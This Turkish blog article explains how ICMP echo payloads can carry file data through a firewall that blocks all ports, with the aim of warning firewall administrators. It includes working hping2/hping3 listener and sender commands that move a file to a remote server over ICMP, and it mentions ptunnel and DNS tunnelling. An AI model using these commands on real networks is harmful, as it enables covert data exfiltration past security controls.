PING ile Port’suz Dosya Transferi Yaparak Firewall Aşmak

Bir sistemin açıklarını bulabilmek için öncelikle o sistemin nasıl çalıştığına dair bilgi edinmek gerekir. Daha sonra sistemde açık arayan kişi, edindiği bu bilgiyi sahip olduğu temel bilgilerle korelasyona sokmalıdır. Temel bilgiler, söz konusu bilişim ve bilgisayar dünyasının teknik altyapısı olduğunda; ağ bilgisi, yazılım bilgisi, sistem bilgisi, güvenlik bilgisi, donanım bilgisi gibi konuları içermektedir. Bir Güvenlik Duvarı(Firewall) üzerinde tanımlı olan kuralları aşmak için genel geçerden uzak bir yöntem arayan kişi önce bu Firewall’a ait yapıyı yapacağı testlerle incelemeli, daha sonra kendisinin sahip olduğu diğer bilgilerle konuyu mercek altına almalıdır.

Firewall kuralları tanımlanırken en önemli güvenlik ilkesi aşırı yetkilendirmeden kaçınmaktır. Hem dışardan içeriye doğru olan hem de içeriden dışarıya doğru olan trafiğin, minimum yetkilerle, mümkün olduğunca “any” kuralı kullanmadan, sadece gerekli olan Protokol ve Port’lar için tanımlanması temel güvenlik anlayışının odağıdır. Bu ilkelere uyarken göze çok masum görünen ICMP protokol trafiği genelde göz ardı edilir. Esas odaklanılan nokta her zaman Port’lar ve diğer Protokol’ler olur. Ancak, bir güvenlik ilkesi uygulanırken istisna gözetmemek, gözetilirse de bu istisnaları da bir risk olarak değerlendirmek gerekir.

Eğer ICMP trafiğini açmak bir risk ise bu riskin nasıl bir tehdit ile hayata geçebileceğini de bilmek gerekir. Öncelikle ilk akılda olması gereken, Firewall üzerinde içerden dışarı, dışardan içeriye açık olan ICMP mesajlarının yerel ağda ve/veya İnternet’te ICMP üzerinde hizmet veren servisleri ifşa edeceğidir. Bunlara en ünlü örnekler PING (Echo & Echo Reply) ve TRACEROUTE ICMP mesaj tipleridir.

ICMP mesaj tipleri şu şekilde listelenebilir:
Type 0 — Echo Reply
Type 1 — Unassigned
Type 2 — Unassigned
Type 3 — Destination Unreachable
Type 4 — Source Quench
Type 5 — Redirect
Type 6 — Alternate Host Address
Type 7 — Unassigned
Type 8 — Echo
Type 9 — Router Advertisement
Type 10 — Router Selection
Type 11 — Time Exceeded
Type 12 — Parameter Problem
Type 13 — Timestamp
Type 14 — Timestamp Reply
Type 15 — Information Request
Type 16 — Information Reply
Type 17 — Address Mask Request
Type 18 — Address Mask Reply
Type 19 — Reserved (for Security)
Types 20-29 — Reserved (for Robustness Experiment)
Type 30 — Traceroute
Type 31 — Datagram Conversion Error
Type 32 — Mobile Host Redirect
Type 33 — IPv6 Where-Are-You
Type 34 — IPv6 I-Am-Here
Type 35 — Mobile Registration Request
Type 36 — Mobile Registration Reply
Type 39 — SKIP
Type 40 — Photuris
Types 41-252 — Unassigned
Type 253 — RFC3692-style Experiment 1
Type 254 — RFC3692-style Experiment 2

Bir sistemin canlı olup olmadığını anlamak için Echo & Echo Reply ICMP mesajları kullanılır. Günümüzde bu mesajlardan bahsedilirken bu mesajları oluşturmak için kullanılan komutun adı, yani PING kelimesi kullanılır. PING ile gönderilen mesajların geçişine izin verildiği ağlarda canlı olan sistemleri bulmak çok kolay hale gelir. Güvenlikte amaç bir saldırganın işini zorlaştırırken bunu kullanılabilirlikten az fedada bulunarak yapmak ise, ICMP trafiğinin dolayısı ile PING ile yollanan Echo mesajlarının da kapatılması önerilebilir.

PING (ICMP Echo) mesaj paketlerinin bir ağ dinleme programı olan Wireshark ile görüntüsü şu şekildedir:


Şekil-1 Google DNS Sunucusuna (8.8.8.8) PING ile Echo isteği (ping) yollanması


Şekil-2 Giden Echo paketi


Şekil-3 Gelen cevap

Şekil-1’de 8.8.8.8 adresinin 32 Bayt veri ile yoklandığından bahsediliyor. Ağ dinlendiği zaman bunu doğrulamak ve içeriği görmek mümkün olabilmektedir


Şekil-4 32 Bayt veri

Şekil-4’e bakıldığında 32 Bayt verinin sadece (abcdef…) harflerinden oluştuğu görülmektedir. Bu veri Windows’un PING komutu tarafından ilgili paketin veri kısmına yerleştirilmiştir. Herhangi bir özel kullanım amacı yoktur. Aynı isteği daha fazla Bayt ile de yollamak mümkündür.


Şekil-5 64 Bayt veri


Şekil-6 Giden veri içeriği

Şekil-6’da Giden verinin içeriğinin tekrarlı harf dizilerinden oluştuğu görülebilmektedir.

Verilen örneklerde bir amaç uğruna kullanılmayan veri içeriğini bir amaç uğruna kullanmak mümkündür. Örneklerde gösterilen verinin yerine bir dosyaya ait veri parçaları yerleştirerek karşı tarafa iletebilmek mümkün olacaktır. ICMP mesajlarının ulaştığı karşı tarafta, her giden paketin içi açılıp, bu veriler ayıklanarak birbiri ile birleştirildiğinde bir dosya oluşturabilir. Bu durumda, Firewall arkasında her yöne bütün Protokol ve Port’ların kapalı olduğu ancak ICMP mesajlarının açık olduğu bir sistemde dışarıya veri yollamak ve dışarıdan veri almak mümkün olacaktır.


Şekil-7 Örnek bir ağ topolojisi

Verilen ağ topolojisinde GOKHAN-PC olarak tanımlanmış Node’dan SUNUCU olarak tanımlanmış Node’a ICMP mesajları ile dosya transfer edilebilir. Ağa yollanan paketleri manipüle etmeye yarayan bir araç (HPING) bir dosyanın karşıya transfer edilmesine yardımcı olacaktır.


Şekil-8 PC ve sunucu

GOKHAN-PC tarafında bulunan 69 Bayt’lık “dosya.txt” dosyasının sunucu tarafına aktarılması için kullanılacak komutlar aşağıda sıralanmıştır.

SUNUCU tarafında ICMP mesajlarını dinleyecek komut:

Hping2 GOKHAN-PC_IP_Adresi –listen imza –icmp -I eth0 > alinan_dosya.txt

Şekil-9 SUNUCU tarafında ICMP mesajlarını dinleyecek komut

Dosyayı yollayacak Node (GOKHAN-PC ) tarafında kullanılması gereken komut:
Hping3 SUNUCU_IP_Adresi –icmp -d 73 –sign imza –file dosya.txt -c 1 –I eth0

Şekil-10 Dosyayı yollayacak Node (GOKHAN-PC ) tarafında kullanılması gereken komut

Burada bazı parametrelerden bahsetmek yerinde olacaktır.
–icmp: Gönderilen paketin cinsi (Protokol)
-d: Paketin başlık bilgisi dışında kalan veri boyutu
–sign: Capture işlemi için tetikleyici kelime
–file: Dosya
–fast: Transfer hızı için takma ad
-c: Paket sayısı
-I: Bağdaştırıcı
–listen: Dinleme modu

Paketler yollanırken her paket için “imza” nedeniyle 4 Byte veri kaybolmaktadır. 69 Bayt’lık bir dosyayı doğru ulaştırmak için 73 Bayt veri paketi yollamak gerekmektedir. Yoğun ağlarda paketlerin ulaştığından emin olmak için “–safe” parametresi kullanılabilir. Listen mode için Hping2 önerilir.

Yollanacak paket boyutunu kestirmek için şu formülden yararlanılabilir:
Dosya Boyutu[file] = (Paket Boyutu[d] – İmza Boyutu [sign]) X (Paket Sayısı [c])

Örnekteki dosya için bu denklem: 69 = (73-4) X 1 olmuştur.


Şekil-11 SUNUCU tarafındaki alınan dosya


Şekil-12 Gönderilen paket içeriği

ICMP Mesajları ile dosya yollanabildiği gibi bu mesajlar ile tünelleme de yapılabilmektedir. Linux ortamında çalışan “ptunnel” isimli bir uygulama ICMP mesajları ile uzak sunucudaki bir Port’u, localhost altında bulunan başka bir Port’a yönlendirmek için kullanılmaktadır.

ICMP mesajları hakkında verilen bu bilgiler ışığında çoğu zaman göz ardı edilen ve en zararsız, masum protokollerden sayılan ICMP’nin yeri geldiğinde bütün güvenlik anlayışını tersine çevirebileceği görülmektedir. Firewall üzerinde dışarıya doğru açık bırakılan bir kapının olması, bütün pencerelerin de kapandığı anlamına gelmemektedir. Sadece DNS UDP 53 Port’u ile dışarıdan sorgu alan yinelemeli bir iç DNS sunucusu, DNS tünelleme ile sömürülerek İnternet üzerindeki başka bir sunucudan aldığı veriler aracılığıyla Firewall aşılarak İnternet’e çıkış yapmak mümkün olabilmektedir. Birçok tünelleme yöntemi Firewall aşmada önemli bir araçtır. Ancak bu tünelleme yöntemlerinden en etkilisi hiçbir Port’a ihtiyaç duymayan ICMP tünellemedir.

Güvenlik ile ilgili kararlar alınırken, teknik olarak yapılabilecekler konusunda, konusuna hakim kişilerin görüşlerinin de alınması önerilmektedir. Günümüzde çok kolay gibi gözüken ve ilgileneni çok bulunan Firewall kuralı yazmak konusunda dahi bilinmeyen çok detayın olduğu buradaki örneklerle gözler önüne serilmiştir.

Gökhan MUHARREMOĞLU